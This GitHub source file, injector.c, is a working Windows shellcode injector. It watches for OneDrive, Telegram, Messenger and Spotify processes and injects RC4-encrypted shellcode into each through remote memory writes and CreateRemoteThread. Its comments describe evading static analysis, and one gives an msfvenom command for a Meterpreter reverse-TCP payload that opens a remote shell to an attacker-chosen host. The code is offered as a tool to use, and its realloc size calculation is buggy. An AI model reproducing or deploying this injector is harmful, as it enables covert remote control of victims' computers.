-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathinjector.c
177 lines (160 loc) · 4.98 KB
/
injector.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
// Coded by s1ege, greetz to all #GSH members.
#include <windows.h>
#include <stdbool.h>
#include <tlhelp32.h>
#include "rc4.h"
// "targets" array length macro.
#define MAX_TARGETS 4
#define RC4KEY "<enter rc4 key here>"
static const LPCSTR targets[] = {
"OneDrive.exe",
"Telegram.exe",
"Messenger.exe",
"Spotify.exe"
};
// Process map structure.
typedef struct {
// Each pid will be stored at the index of corresponding process name index in "targets" array.
DWORD pids[MAX_TARGETS];
// Array of DWORDs to track targeted pids to prevent repetitive process injection.
DWORD *targeted;
size_t targeted_size;
} pMap;
typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(
HANDLE ProcessHandle,
PVOID BaseAddress,
PVOID Buffer,
ULONG NumberOfBytesToWrite,
PULONG NumberOfBytesWritten
);
// Function to dynamically add pids to "targeted" array.
void add_pid(pMap *a, DWORD pid) {
if (a->targeted_size) {
a->targeted = realloc(a->targeted, a->targeted_size+1 * sizeof(DWORD));
}
else {
a->targeted = malloc(sizeof(DWORD));
}
a->targeted[a->targeted_size++] = pid;
}
// Function to check whether pid evaluates to true or if pid has already been added to "targeted" array.
bool check_pid(pMap *a, DWORD pid) {
if (pid) {
for (size_t i=0; i<a->targeted_size; i++) {
if (a->targeted[i] == pid)
return false;
}
return true;
}
return false;
}
// Function to filter the target processes' corresponding pid.
DWORD filter_pid(LPCSTR pname) {
PROCESSENTRY32 pt;
HANDLE hsnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pt.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hsnap, &pt)) {
do {
if (!lstrcmpi(pt.szExeFile, pname)) {
CloseHandle(hsnap);
return pt.th32ProcessID;
}
} while (Process32Next(hsnap, &pt));
}
CloseHandle(hsnap);
return 0;
}
DWORD WINAPI scan_pids(LPVOID *lpParameter) {
pMap *a = (pMap*)lpParameter;
while (true) {
for (size_t i=0; i<MAX_TARGETS; i++) {
DWORD pid = filter_pid(targets[i]);
if (check_pid(a, pid)) {
a->pids[i] = pid;
}
else {
// Sleep to limit CPU usage.
Sleep(15);
}
}
}
return 0;
}
DWORD WINAPI free_pids(LPVOID *lpParameter) {
pMap *a = (pMap*)lpParameter;
while (true) {
Sleep(900 * 1000);
if (a->targeted_size) {
free(a->targeted);
a->targeted_size = 0;
}
}
return 0;
}
void inject(unsigned char shellcode[], int PAYLOADSIZE, DWORD pid) {
// Dynamically load NtWriteVirtualMemory API from ntdll.dll (to evade static analysis).
_NtWriteVirtualMemory NtWriteVirtualMemory =
(_NtWriteVirtualMemory)GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtWriteVirtualMemory");
// Allocate memory for sc buffer.
int scsize = sizeof(int) * PAYLOADSIZE;
LPVOID sc = VirtualAlloc(NULL, scsize, MEM_COMMIT, 0x04);
// Decrypt shellcode and store in sc buffer.
memset(sc, '\0', scsize);
RC4(RC4KEY, (char*)shellcode, (unsigned char*)sc, PAYLOADSIZE);
// inject shellcode into process memory space.
HANDLE processHandle = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
pid
);
PVOID remote_buf = VirtualAllocEx(
processHandle,
NULL,
sizeof(sc),
(MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE
);
NtWriteVirtualMemory(
processHandle,
remote_buf,
(unsigned char*)sc,
scsize,
0
);
HANDLE remoteThread = CreateRemoteThread(
processHandle,
NULL,
0,
(LPTHREAD_START_ROUTINE)remote_buf,
NULL,
0,
NULL
);
CloseHandle(processHandle);
}
int main() {
// msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=<host> LPORT=<port> RC4PASSWORD=<network_level_rc4_key> --encrypt rc4 --encrypt-key <binary_level_rc4_key>
unsigned char shellcode[] =
< enter shellcode here >
// Instantiate a instance of pMap structure to track pids and targeted pids with all member values set to zero.
pMap a = { {0}, {0}, 0 };
// Thread to Scan for pids.
CreateThread(0, 0, scan_pids, &a, 0, 0);
// Thread to free "targeted" array to limit memory usage.
CreateThread(0, 0, free_pids, &a, 0, 0);
while (true) {
for (int i=0; i<MAX_TARGETS; i++) {
if (check_pid(&a, a.pids[i])) {
inject(shellcode, sizeof(shellcode), a.pids[i]);
add_pid(&a, a.pids[i]);
}
else {
// Sleep for 1 second to limit cpu usage.
Sleep(1000);
}
}
}
return 0;
}